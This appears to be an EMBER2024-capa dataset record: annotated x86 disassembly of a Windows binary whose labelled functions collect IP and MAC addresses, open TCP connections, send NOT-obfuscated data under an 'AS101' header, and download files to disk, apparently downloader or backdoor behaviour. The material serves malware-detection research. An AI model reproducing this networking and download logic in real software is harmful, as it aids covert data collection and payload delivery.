joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov edi, edx
mov esi, ecx
call fcn.00408730
add esp, 0xc
cmp dword [0x418f08], 3
lea eax, [ebp - 0x20c]
jne 0x402ddd
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416a20
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
jmp 0x402de9
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x416a24
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x402ed0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
cmp esi, 0xffffffff
je 0x402fed
push 0x400
call fcn.00405b57
add esp, 4
mov ebx, eax
push 0x400
push 0
push ebx
call fcn.00408730
add esp, 0xc
mov ecx, esi
call fcn.004030a0
xor ecx, ecx
shld ecx, eax, 9
xorps xmm0, xmm0
shl eax, 9
movq qword [ebp - 0x18], xmm0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
push 0x400
push ebx
movq qword [ebp - 0x10], xmm0
push esi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402fe4
cmp dword [ebx + 4], 0x5042475f
jne 0x402fab
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402f70
sub ecx, edx
sar ecx, 1
je 0x402fab
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00405be9
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
push ebx
push 2
mov edx, 0x1e
mov ecx, esi
call fcn.00403180
add esp, 8
test eax, eax
je 0x402fe4
cmp dword [ebx + 4], 0x5042475f
jne 0x402fe4
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402fd3
sub ecx, edx
sar ecx, 1
jne 0x402f81
push ebx
call fcn.00405be9
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x403000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
mov esi, ecx
mov dword [ebp - 0x214], 0
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [ebp - 0x210]
sub ecx, 0x41
lea edx, [ebp - 0x214]
call fcn.004031f0
mov ecx, dword [ebp - 0x214]
call fcn.004032e0
cmp eax, 0xffffffff
jne 0x403086
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov edx, esi
mov ecx, eax
call fcn.00402ed0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x4030a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ff
xor esi, esi
lea eax, [ebp - 0x207]
push esi
push eax
mov byte [ebp - 0x208], 0
call fcn.00408730
add esp, 0xc
cmp ebx, 0xffffffff
je 0x40315c
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x200
lea eax, [ebp - 0x208]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x21c], xmm0
movq qword [ebp - 0x214], xmm0
push ebx
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40315c
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
mov ecx, dword [ebp - 0xe]
cmovne esi, eax
mov eax, dword [ebp - 0x32]
add eax, dword [ebp - 0x2e]
cmp eax, esi
cmova esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
cmova esi, eax
add ecx, dword [ebp - 0x12]
cmp ecx, esi
cmova esi, ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x403180
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x18], xmm0
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
cmp ecx, 0xffffffff
je 0x4031da
shld eax, edx, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
shl eax, 9
push eax
push esi
shl edx, 9
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x4033d0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x416aac
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.00404ee2
add esp, 0xc
test eax, eax
je 0x403415
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.00405cb0
push dword [ebp - 8]
call fcn.00406088
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00405cb0
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.00405b57
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.004051b4
push dword [ebp - 8]
call fcn.004052cc
push edi
add ebx, esi
push 0
push ebx
call fcn.00408730
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00406113
add esp, 4
xor esi, esi
test edi, edi
jle 0x40349d
lea ecx, [ecx]
call fcn.004060f0
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x403490
push 0x416ab4
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00404ee2
add esp, 0xc
test eax, eax
je 0x4034c8
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.0040549a
push dword [ebp - 8]
call fcn.004052cc
add esp, 0x14
test esi, esi
je 0x4034f1
push esi
call fcn.00405be9
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x403a10
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403b1d
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403a77
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403a87
cmp ebx, 3
jae 0x403af1
mov eax, dword [ebp - 8]
jmp 0x403a33
test edi, edi
jne 0x403af1
mov eax, esi
test esi, esi
je 0x403aed
cmp dword [eax + 0x34], 6
jne 0x403a9d
cmp dword [eax + 0x1c], 0
jne 0x403aa8
mov eax, dword [eax + 8]
test eax, eax
jne 0x403a91
xor edi, edi
jmp 0x403af6
mov ecx, dword [eax + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov cx, word [eax + 0x30]
mov word [edx + 4], cx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 4]
mov byte [edx + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 5]
mov byte [edx + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 6]
mov byte [edx + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x403af6
mov edi, 0xfffffffd
test esi, esi
je 0x403b0a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x403da0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.00403ee0
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x403ec9
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41a3a8
mov edi, edi
cmp word [esi], 0
je 0x403e56
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.00404c8f
add esp, 0xc
lea eax, [ebp - 0x418]
push esi
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
add esi, 0x118
cmp esi, 0x41a920
jl 0x403e20
mov esi, 0x41a3a8
lea esp, [esp]
cmp word [esi], 0
je 0x403e84
push ecx
push edi
mov edx, ebx
mov ecx, esi
call fcn.004047f0
add esp, 8
add esi, 0x118
cmp esi, 0x41a920
jl 0x403e70
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x41c]
mov ecx, 2
cmove eax, ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x404130
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [ebp - 0x80c], eax
lea eax, [ebp - 0x9b0]
push eax
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404195
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x404182
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4041d5
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40422e
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov eax, 2
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40422e
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x40423d
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x4043c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x404448
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x4043e8
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x4043e0
lea eax, [edi + 7]
push eax
call fcn.00406277
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [str.AS101]
mov dword [ecx + 2], eax
mov al, byte [0x418f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00409390
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40443e
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040666b
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404650
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x4047c1
test edx, edx
je 0x4047c1
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4047d1
test eax, eax
je 0x4047d1
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.00406277
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x4047b1
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4047ab
test eax, eax
je 0x4047ab
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x404710
cmp esi, 5
jl 0x4047b1
mov ecx, str.AS101
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4047b1
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x4047b1
test esi, esi
jle 0x404769
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x404761
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x404791
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00409390
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x4047b1
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00409390
add esp, 0xc
mov ebx, 1
jmp 0x4047b1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x4047be
push edi
call fcn.0040666b
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x4047f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x610]
push 0
push eax
mov dword [ebp - 0xe20], edx
mov ebx, ecx
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x610]
push ebx
push 0x1ff
push eax
call fcn.00404c8f
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404840
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x41a920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x404867
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00405b57
add esp, 4
mov esi, eax
push 0x10000
push 0
push esi
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
xor edi, edi
push eax
mov dword [ebp - 0xe18], 0
mov dword [ebp - 0xe14], edi
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00404130
add esp, 8
test eax, eax
je 0x4049ee
lea eax, [ebp - 0xe10]
push eax
push ebx
lea eax, [ebp - 0x610]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0xe18]
call fcn.00404250
add esp, 0xc
test eax, eax
je 0x4049ee
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00404450
add esp, 0xc
test eax, eax
je 0x4049ee
cmp word [ebp - 0xe14], bx
jne 0x4049ee
cmp dword [ebp - 0xe1c], edi
je 0x4049ee
cmp byte [esi], 0
jne 0x4049ee
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x416b64
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], edi
call fcn.00404ee2
add esp, 0xc
cmp dword [ebp - 0xe14], edi
je 0x4049e9
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00404a20
mov edi, 1
test esi, esi
je 0x4049fb
push esi
call fcn.00405be9
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x404a0c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x404a20
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040b930
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x404a70
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x404ac0
jmp 0x404a80
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404ac0
push dword [ebx]
lea eax, [ebp - 0x1004]
push esi
push 1
push eax
call fcn.0040549a
add edi, esi
mov esi, dword [ebp - 0x100c]
add esp, 0x10
cmp edi, dword [ebp - 0x1008]
jb 0x404a80
push dword [ebx]
call fcn.004052cc
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x40f5c6
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00406a0a
mov dword [ebp - 0x14], eax
cmp dword [0x419d84], edi
jne 0x40f6b7
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40f644
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40f797
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40f797
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f797
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x419d84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x419d88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x419d8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419d94], eax
test eax, eax
je 0x40f6b4
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419d90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f6dc
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f6cf
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40f6f1
push 4
pop eax
jmp 0x40f799
cmp dword [ebp - 0x14], edi
je 0x40f6f1
push dword [0x419d84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f6d6
mov eax, dword [0x419d90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40f74f
cmp dword [0x419d94], esi
je 0x40f74f
push eax
call ebx
push dword [0x419d94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40f74f
test eax, eax
je 0x40f74f
call ecx
test eax, eax
je 0x40f744
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40f744
test byte [ebp - 8], 1
jne 0x40f74f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40f77f
mov eax, dword [0x419d88]
cmp eax, esi
je 0x40f77c
push eax
call ebx
test eax, eax
je 0x40f77c
call eax
mov edi, eax
test edi, edi
je 0x40f77c
mov eax, dword [0x419d8c]
cmp eax, esi
je 0x40f77c
push eax
call ebx
test eax, eax
je 0x40f77c
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x419d84]
call ebx
test eax, eax
je 0x40f797
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40f799
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
leave
ret
Function at 0x417869
Capabilities:
Encode data using xor

Disassembly:
push ds
xchg ebx, eax
sub al, 0x1d
xchg ebx, eax
push cs
sbb eax, 0x60be7233
push ds
sal dword [ebp - 0x65], 0x5f
push ds
sbb eax, 0x1d6e1293
xor esi, dword [esi - 0x42]
pushal
push ds
cmpsd dword [esi], dword es:[edi]
arpl word [edx], bx
test eax, 0xa5dc1a63
xchg ebp, eax
pop edi
push ds
sar dword [ecx - 0x65], 0x5f
push ds
cmpsd dword [esi], dword es:[edi]
xchg ebx, eax
adc ah, byte [edi + 0x75bf1a7b]
wait
pop edi
push ds
mov eax, dword [0x2c931e16]
push ds
xchg ebx, eax
sub al, 0x1d
xchg ebx, eax
push cs
invalid
xor esi, dword [edx - 0x42]
pushal